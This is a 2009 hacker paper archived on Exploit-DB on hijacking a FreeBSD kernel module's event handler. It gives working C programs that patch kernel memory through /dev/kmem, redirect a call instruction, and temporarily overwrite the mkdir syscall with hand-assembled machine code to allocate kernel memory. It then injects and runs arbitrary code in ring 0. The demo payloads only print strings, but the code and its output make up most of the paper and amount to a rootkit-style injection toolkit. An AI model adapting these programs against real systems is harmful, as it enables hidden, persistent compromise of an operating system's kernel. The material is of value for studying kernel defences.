Hijacking LKM's event handler - FreeBSD case study

EDB-ID:

12926

CVE:

N/A

Author:

suN8Hclf

Type:

papers

Platform:

Multiple

Published:

2009-05-05

         [*]]]]]  Hijacking LKM's event handler - FreeBSD case study  [[[[[*]

                                    bY suN8Hclf
 
                                   of Lost Hop3z

                         blacksideofthesun.linuxsecured.net
                               crimson.loyd@gmail.com

                                     05/05/2009



"To those who follow their dreams and specialize in the impossible"



****] 0x01 Abstract
****] 0x02 FreeBSD's LKMs
****] 0x03 Basic FreeBSD's LKM
****] 0x04 Inside event handler
****] 0x05 Near Call jumps
****] 0x06 Basic 1-byte patch
****] 0x07 Advanced technique
	==] 0x07.a Kernel memory allocation
	==] 0x07.b Putting it all together
****] 0x08 Summary
****] 0x09 Codes


****] 0x01 Abstract
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This paper is about LKMs (Loadable Kernel Modules) in FreeBSD Operating System. 
It presents an interesting (at least to me) method of intercepting LKM's code 
flow by hijacking event handler. I havent found any paper about this technique so 
I decided to write one. This paper is rather easy however you should be familiar 
with the following concepts to fully understand the content:

	* basic operating systems concepts
	* x86 assembly and C languages
	* know what /dev/kmem is, and how it can be (ab)used
	* have some knowledge about FreeBSD's LKMs


****] 0x02 FreeBSD's LKMs
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A Loadable Kernel Module (LKM) is not a new concept among Operating Systems.
Generally speaking it is a piece of code, that can be loaded into kernel memory to 
extend functionality, implement new features within existing kernel code or
provide some kind of services (device drivers etc).

As its name suggests, LKM can be loaded any time there is a need and it is
the easiest way to place a code into kernel-space.

LKM's code executes on ring0 level, therefore it has a total control over entire
operating system. It can change important data structures or do other ugly (?) things.


****] 0x03 Basic FreeBSD's LKM
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This paper is not a book about writing LKMs under FreeBSD operating system, therefore 
I will quickly present only essential information. The simplest FreeBSD's kernel module 
consists of 3 parts:

	* event handler
	* moduledata structure
	* DECLARE_MODULE() macro

event handler defines actions to be performed in response to a particular events
like LKM being loaded or unloaded.

moduledata structure (declared in <sys/module.h>) stores some information about LKM: 
its name and pointer to event handler function.

DECLARE_MODULE() macro is used to link and register a LKM within the kernel.

Armed with this knowledge we can write a simple LKM that will be used to present 
techniques described in this paper (lkm_sample.c).

root@alhambra# kldload ./lkm_sample.ko
Hello world
root@alhambra# kldstat
Id Refs Address    Size     Name
 1   21 0xc0400000 3cd038   kernel
 2    6 0xc07ce000 1eed0    linux.ko
 3    1 0xc07ed000 3910     ulpt.ko
 4    1 0xc07f1000 5c340    acpi.ko
 5    1 0xc23a7000 6000     linprocfs.ko
 6    1 0xc2472000 2d000    pf.ko
 7    1 0xc2669000 6000     snd_csa.ko
 8    2 0xc267a000 1d000    sound.ko
 9    1 0xc27b7000 8000     vmmon_up.ko
10    1 0xc27c1000 2000     vmnet.ko
11    1 0xc27c4000 2000     rtc.ko
12    1 0xc2f4d000 2000     lkm_sample.ko
root@alhambra# kldunload lkm_sample
Bye world
root@alhambra#  

Ok, it works perfectly, now lets see how event handler looks like.


****] 0x04 Inside event handler
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

root@alhambra# objdump -d ./lkm_sample.ko

./lkm_sample.ko:     file format elf32-i386-freebsd

Disassembly of section .text:

[..]

00000420 <printOwned>:
 420:   55                      push   %ebp
 421:   89 e5                   mov    %esp,%ebp
 423:   68 85 04 00 00          push   $0x485
 428:   e8 fc ff ff ff          call   429 <printOwned+0x9>
 42d:   c9                      leave
 42e:   c3                      ret
 42f:   90                      nop

[..]

00000430 <event_handler>:
 430:   55                      push   %ebp
 431:   89 e5                   mov    %esp,%ebp
 433:   53                      push   %ebx
 434:   8b 45 0c                mov    0xc(%ebp),%eax             <-- put event type into EAX
 437:   31 db                   xor    %ebx,%ebx                  <-- EBX = 0
 439:   85 c0                   test   %eax,%eax                  <-- is EAX == 0 (MOD_LOAD)?
 43b:   74 0f                   je     44c <event_handler+0x1c>   <-- if so, jump to printHello()
 43d:   48                      dec    %eax
 43e:   74 18                   je     458 <event_handler+0x28>   <-- was EAX == 1 (MOD_UNLOAD)?
 440:   bb 2d 00 00 00          mov    $0x2d,%ebx
 445:   89 d8                   mov    %ebx,%eax
 447:   5b                      pop    %ebx
 448:   c9                      leave
 449:   c3                      ret
 44a:   89 f6                   mov    %esi,%esi
 44c:   e8 af ff ff ff          call   400 <printHello>
 451:   89 d8                   mov    %ebx,%eax
 453:   5b                      pop    %ebx
 454:   c9                      leave
 455:   c3                      ret
 456:   89 f6                   mov    %esi,%esi
 458:   e8 b3 ff ff ff          call   410 <printBye>
 45d:   89 d8                   mov    %ebx,%eax
 45f:   5b                      pop    %ebx
 460:   c9                      leave
 461:   c3                      ret


Well, this dump looks really simple, and the assembly code implements standard
switch()/case construction.


****] 0x05 Near Call jumps
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Before we start playing around with LKM's event handler, you should understand how
near call's are translated into machine code. This is really simple but important
so do not ignore this small section. Consider the following code:

206: e8 f5 00 00 00    call 300
20B: b8 2f 14 00 00    mov $0x142f, %eax

When the IP (Instruction pointer) gets to line 206 it will jump to code at 300.
CALL intruction is represented by 0xE8, however 0xf5000000 is not 0x300. Weird?
Well, this kind of call is named "near call" and the value after CALL's opcode is 
A DISTANCE from location we jump to, to a place we return after call is finished: 
0x300 - 0x20B = 0xF5.


****] 0x06 Basic 1-byte patch
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

If you look carefully at lkm_sample.c's code, you will see a function named printOwned().
It is never called within the entire LKM, so lets force LKM to call it :).

Think with me, our LKM implements two events - MOD_LOAD and MOD_UNLOAD. MOD_LOAD is called 
when the LKM is being loaded into kernel memory so it is not a good attack vector 
(we want to hijack LKM while it is running). But what about MOD_UNLOAD? And what and where 
to patch?

During my research I patched the line 458 and it works perfectly.

The algorithm is the following:

1. Locate code from "line 458" wihin kernel memory
2. Patch 0xb3 to 0xc3 (0x420 - 0x45d)
3. Run the code by unloading the module

The code implementing this method is located at the end of paper (basic_hijack.c).

root@alhambra# kldload ./lkm_sample.ko
Hello world
root@alhambra# kldunload lkm_sample
Bye world
root@alhambra# gcc basic_hijack.c -o basic_hijack -lkvm
root@alhambra# ./basic_hijack
[+]Patching code at 0xc2f50458
[*]Done, now unload the module to trigger the code :)
root@alhambra# kldunload lkm_sample
You shouldnt see this message...Am I owned?!
root@alhambra#


****] 0x07 Advanced technique
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The previous example is not very effective because we are limited to code inside LKM. 
So what about executing our own independent code?


==] 0x07.a Kernel memory allocation
**************************************

Generally the method for allocating kernel memory from user-land was developed
by Salvio Cesare and can be described as the following:

1. Find an address of a syscall
2. Write a function allocating kernel memory
3. Save sizeof(our_function) bytes of a chosen syscall
4. Overwrite a syscall with our function
5. Call that syscall (in fact, our function will be called)
6. Restore a syscall

Code for allocating kernel memory is at the end of paper (allocuser.c) - it hookes 
mkdir syscall and yes, it was not written by me :).


==] 0x07.b Putting it all together
**************************************

So lets sum things up. To execute our code we need to do the following:

1. Allocate some kernel memory (allocuser.c code)
2. Place our code into allocated memory area
3. Overwrite line 458 with a jump to out code
4. Prevent kernel from crashing ;p

Advanced_hijack.c implements this technique and forces LKM to print a nice string.
At this stage, you are limited only to your imagination, you can execute every 
code :)

root@alhambra# kldload ./lkm_sample.ko
Hello world
root@alhambra# kldunload lkm_sample
Bye world
root@alhambra# ./allocuser 100
Address of kernel memory: 0xc2f46700
root@alhambra# kldload ./lkm_sample.ko
Hello world
root@alhambra# kldstat
Id Refs Address    Size     Name
 1   21 0xc0400000 3cd038   kernel
 2    6 0xc07ce000 1eed0    linux.ko
 3    1 0xc07ed000 3910     ulpt.ko
 4    1 0xc07f1000 5c340    acpi.ko
 5    1 0xc23a7000 6000     linprocfs.ko
 6    1 0xc2472000 2d000    pf.ko
 7    1 0xc2669000 6000     snd_csa.ko
 8    2 0xc267a000 1d000    sound.ko
 9    1 0xc27b7000 8000     vmmon_up.ko
10    1 0xc27c1000 2000     vmnet.ko
11    1 0xc27c4000 2000     rtc.ko
12    1 0xc2f80000 2000     lkm_sample.ko
root@alhambra# gcc advanced_hijack.c -o advanced_hijack -lkvm
root@alhambra# ./advanced_hijack
[+]Patching code at 0xc2f80458
[*]Done, unload the module to trigger the code :)
root@alhambra# kldunload lkm_sample
WANNA BE A NINJA?
root@alhambra# Done, game ov3r :)))


****] 0x08 Summary
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

In this paper, a nice and interesting technique for intercepting LKM's flow was 
presented. Its usage is of course limited because a particular environment has to
be provided to make it work.


****] 0x09 Codes
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

----------------------------lkm_sample.c----------------------------
/* 
 * C0de bY suN8Hclf of Lost Hop3z
 * blacksideofthesun.linuxsecured.net
 * crimson.loyd@gmail.com
 */
#include <sys/param.h>
#include <sys/module.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/linker.h>

void printHello(void);
void printBye(void);
void printOwned(void);

void printHello(void) {
	uprintf("Hello world\n");
}

void printBye(void) {
	uprintf("Bye world\n");
}

void printOwned(void) {
	uprintf("You shouldnt see this message...Am I owned?!\n");
}

static int event_handler(struct module *module, int event, void *arg) {
	int e = 0;
	switch(event) {
		case MOD_LOAD:
			printHello();
			break;
		case MOD_UNLOAD:
			printBye();
			break;
		default:
			e = EOPNOTSUPP;
			break;
	}
	
	return e;
}


static moduledata_t lkm_sample_conf = {
	"lkm_sample",
	event_handler,
	NULL
};

DECLARE_MODULE(lkm_sample, lkm_sample_conf, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
----------------------------lkm_sample.c----------------------------

----------------------------basic_hijack.c----------------------------
/* 
 * C0de bY suN8Hclf of Lost Hop3z
 * blacksideofthesun.linuxsecured.net
 * crimson.loyd@gmail.com
 */
#include <stdio.h>
#include <kvm.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

/* base of LKM, get it from kldstat */
#define START_ADDR 0xc2f50000


int main(int argc, char *argv[])
{
	kvm_t *kd;
	char errbuf[128];
	unsigned char buffer[2000];
	int i, ret;
	
	kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
	
	if(kd == NULL) {
		fprintf(stderr, "Cannot open /dev/kmem: %s\n", errbuf);
		exit(1);
	}
	
	memset(buffer, 0, sizeof(buffer));
	
	ret = kvm_read(kd, START_ADDR, buffer, sizeof(buffer));
	
	if(ret < 0) {
		fprintf(stderr, "Cannot read from /dev/kmem: %s\n", kvm_geterr(kd));
		kvm_close(kd);
		exit(2);
	}
	
	/* simple linear searching... */
	for(i = 0; i < sizeof(buffer) - 1; i++) {
		if((buffer[i] == 0xe8) && (buffer[i+1] == 0xb3) && (buffer[i+2] == 0xff)) {
			printf("[+]Patching code at 0x%x\n", START_ADDR + i);
			buffer[i+1] = 0xc3;
		}
	}
	
	ret = kvm_write(kd, START_ADDR, buffer, sizeof(buffer));
	
	if(ret < 0) {
		fprintf(stderr, "Cannot write: %s\n", kvm_geterr(kd));
		kvm_close(kd);
		exit(3);
	}
	
	printf("[*]Done, now unload the module to trigger the code :)\n");
	
	kvm_close(kd);
	return 0;
}
----------------------------basic_hijack.c----------------------------

----------------------------allocuser.c----------------------------
#include <stdio.h>
#include <fcntl.h>
#include <kvm.h>
#include <nlist.h>
#include <limits.h>
#include <sys/types.h>
#include <sys/syscall.h>
#include <sys/module.h>

#define OFFSET_1	0x3a
#define OFFSET_2	0x56

unsigned char code[] =
	"\x55"				/* push   %ebp			*/
	"\xba\x01\x00\x00\x00"		/* mov    $0x1,%edx		*/
	"\x89\xe5"			/* mov    %esp,%ebp		*/
	"\x53"				/* push   %ebx			*/
	"\x83\xec\x14"			/* sub    $0x14,%esp		*/
	"\x8b\x5d\x0c"			/* mov    0xc(%ebp),%ebx	*/
	"\x8b\x03"			/* mov    (%ebx),%eax		*/
	"\x85\xc0"			/* test   %eax,%eax		*/
	"\x75\x0b"			/* jne    20 <kmalloc+0x20>	*/
	"\x83\xc4\x14"			/* add    $0x14,%esp		*/
	"\x89\xd0"			/* mov    %edx,%eax		*/
	"\x5b"				/* pop    %ebx			*/
	"\xc9"				/* leave			*/
	"\xc3"				/* ret				*/
	"\x8d\x76\x00"			/* lea    0x0(%esi),%esi	*/
	"\xc7\x44\x24\x08\x01\x00\x00"	/* movl   $0x1,0x8(%esp)	*/
	"\x00"
	"\xc7\x44\x24\x04\x00\x00\x00"	/* movl   $0x0,0x4(%esp)	*/
	"\x00"
	"\x8b\x00"			/* mov    (%eax),%eax		*/
	"\x89\x04\x24"			/* mov    %eax,(%esp)		*/
	"\xe8\xfc\xff\xff\xff"		/* call   36 <kmalloc+0x36>	*/
	"\x89\x45\xf8"			/* mov    %eax,0xfffffff8(%ebp)	*/
	"\xc7\x44\x24\x08\x08\x00\x00"	/* movl   $0x8,0x8(%esp)	*/
	"\x00"
	"\x8b\x03"			/* mov    (%ebx),%eax		*/
	"\x89\x44\x24\x04"		/* mov    %eax,0x4(%esp)	*/
	"\x8d\x45\xf4"			/* lea    0xfffffff4(%ebp),%eax	*/
	"\x89\x04\x24"			/* mov    %eax,(%esp)		*/
	"\xe8\xfc\xff\xff\xff"		/* call   52 <kmalloc+0x52>	*/
	"\x83\xc4\x14"			/* add    $0x14,%esp		*/
	"\x89\xc2"			/* mov    %eax,%edx		*/
	"\x5b"				/* pop    %ebx			*/
	"\xc9"				/* leave			*/
	"\x89\xd0"			/* mov    %edx,%eax		*/
	"\xc3";				/* ret				*/

struct kma_struct {

        unsigned long size;
        unsigned long *addr;
};

int main(int argc, char **argv) 
{

	int i = 0;
	char errbuf[_POSIX2_LINE_MAX];
	kvm_t *kd;
	u_int32_t offset_1;
	u_int32_t offset_2;
	struct nlist nl[] =
			  {{ NULL },{ NULL },{ NULL },{ NULL },{ NULL },};
	unsigned char origcode[sizeof(code)];
	struct kma_struct kma;

	if(argc != 2) {
                printf("Usage:\n%s <size>\n", argv[0]);
                exit(0);
        }

	kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
	if(kd == NULL) {
		fprintf(stderr, "ERROR: %s\n", errbuf);
		exit(-1);
	}

	nl[0].n_name = "mkdir";
	nl[1].n_name = "M_TEMP";
	nl[2].n_name = "malloc";
	nl[3].n_name = "copyout";

	if(kvm_nlist(kd, nl) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

	for(i = 0; i < 4; i++) {
		if(!nl[i].n_value) {
                	fprintf(stderr, "ERROR: Symbol %s not found\n"
				, nl[i].n_name);
                	exit(-1);
        	}
	}

	offset_1 = nl[0].n_value + OFFSET_1;
	offset_2 = nl[0].n_value + OFFSET_2;

	*(unsigned long *)&code[44] = nl[1].n_value;
	*(unsigned long *)&code[54] = nl[2].n_value - offset_1;
	*(unsigned long *)&code[82] = nl[3].n_value - offset_2;

	if(kvm_read(kd, nl[0].n_value, origcode, sizeof(code)) < 0) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

	if(kvm_write(kd, nl[0].n_value, code, sizeof(code)) < 0) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

	kma.size = (unsigned long)atoi(argv[1]);
	syscall(136, &kma);
	printf("Address of kernel memory: 0x%x\n", kma.addr);

	if(kvm_write(kd, nl[0].n_value, origcode, sizeof(code)) < 0) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

	if(kvm_close(kd) < 0) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

	exit(0);
}
----------------------------allocuser.c----------------------------

----------------------------Advanced_hijack.c----------------------------
/* 
 * C0de bY suN8Hclf of Lost Hop3z
 * blacksideofthesun.linuxsecured.net
 * crimson.loyd@gmail.com
 */
#include <stdio.h>
#include <kvm.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

/* base of our LKM, get using kldstat */
#define START_ADDR 0xc2eb8000
/* address of allocated memory */
#define MEMORY 0xc23ad000

unsigned char jump[] =
	"\xb8\x00\x00\x00\x00"  /* mov eax, our_address */
	"\xff\xd0";             /* call eax */

unsigned char ha_code[] =
	"\x57"
	"\x41"
	"\x4e"
	"\x4e"
	"\x41"
	"\x20"
	"\x42"
	"\x45"
	"\x20"
	"\x41"
	"\x20"
	"\x4e"
	"\x49"
	"\x4e"
	"\x4a"
	"\x41"
	"\x3f"
	"\x00"
	"\x55"				/* push %ebp	 	*/
	"\x89\xe5"			/* mov %esp,%ebp 	*/
	"\x83\xec\x08"			/* sub $0x8,%esp 	*/
	"\x8b\x45\x0c"			/* mov 0xc(%ebp),%eax	*/
	"\x8b\x00"			/* mov (%eax),%eax	*/
	"\xc7\x04\x24\x0d\x00\x00\x00"	/* movl $0xd,(%esp)	*/
	"\xe8\xfc\xff\xff\xff"		/* call uprintf		*/
	"\x31\xc0"			/* xor %eax,%eax	*/
	"\x83\xc4\x08"			/* add $0x8,%esp	*/
	"\x5d"				/* pop %ebp		*/
	"\x89\xd8"			/* mov %ebx,%eax	*/
	"\xc3";				/* ret			*/
	
int main(int argc, char *argv[])
{
	kvm_t *kd;
	char errbuf[128];
	int ret;
	u_int32_t offset;
	unsigned char buffer[2000];
	int i;
	struct nlist nl[] = { { NULL}, { NULL } };
	
	kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
	
	if(kd == NULL) {
		fprintf(stderr, "Cannot open /dev/kmem: %s\n", errbuf);
		exit(1);
	}
	
	memset(buffer, 0, sizeof(buffer));
	
	nl[0].n_name = "uprintf";
	
	if(kvm_nlist(kd, nl) < 0) {
		fprintf(stderr, "Cannot get symbol address: %s\n", kvm_geterr(kd));
		kvm_close(kd);
		exit(2);
	}
	
	if(!nl[0].n_value) {
		printf("Cannot find symbol :(\n");
		kvm_close(kd);
		exit(3);
	}
	
	ret = kvm_read(kd, START_ADDR, buffer, sizeof(buffer));
	
	if(ret < 0) {
		fprintf(stderr, "Cannot read /dev/kmem: %s\n", kvm_geterr(kd));
		kvm_close(kd);
		exit(4);
	}
	
	/* basic linear searching */
	for(i = 0; i < sizeof(buffer) - 1; i++) {
		if((buffer[i] == 0xe8) && (buffer[i+1] == 0xb3) && 
		(buffer[i+2] == 0xff)) {
			printf("[+]Patching code at 0x%x\n", START_ADDR + i);
			*(unsigned long *)&jump[1] = MEMORY + 18 /* length of string */;
			buffer[i] = jump[0];
			buffer[i+1] = jump[1];
			buffer[i+2] = jump[2];
			buffer[i+3] = jump[3];
			buffer[i+4] = jump[4];
			buffer[i+5] = jump[5];
			buffer[i+6] = jump[6];
		}
	}
	
	*(unsigned long *)&ha_code[32] = (unsigned long)MEMORY;
	offset = (unsigned long)MEMORY + 0x29;
	
	*(unsigned long *)&ha_code[37] = nl[0].n_value - offset;
	
	ret = kvm_write(kd, START_ADDR, buffer, sizeof(buffer));
	
	if(ret < 0) {
		fprintf(stderr, "Cannot write to /dev/kmem: %s\n", kvm_geterr(kd));
		kvm_close(kd);
		exit(3);
	}
	
	ret = kvm_write(kd, MEMORY, ha_code, sizeof(ha_code));
	
	if(ret < 0) {
		fprintf(stderr, "Cannot write to /dev/kmem: %s\n", kvm_geterr(kd));
		kvm_close(kd);
		exit(3);
	}
	
	printf("[*]Done, unload the module to trigger the code :)\n");
	
	kvm_close(kd);
	return 0;
}
----------------------------Advanced_hijack.c----------------------------

# milw0rm.com [2009-05-05]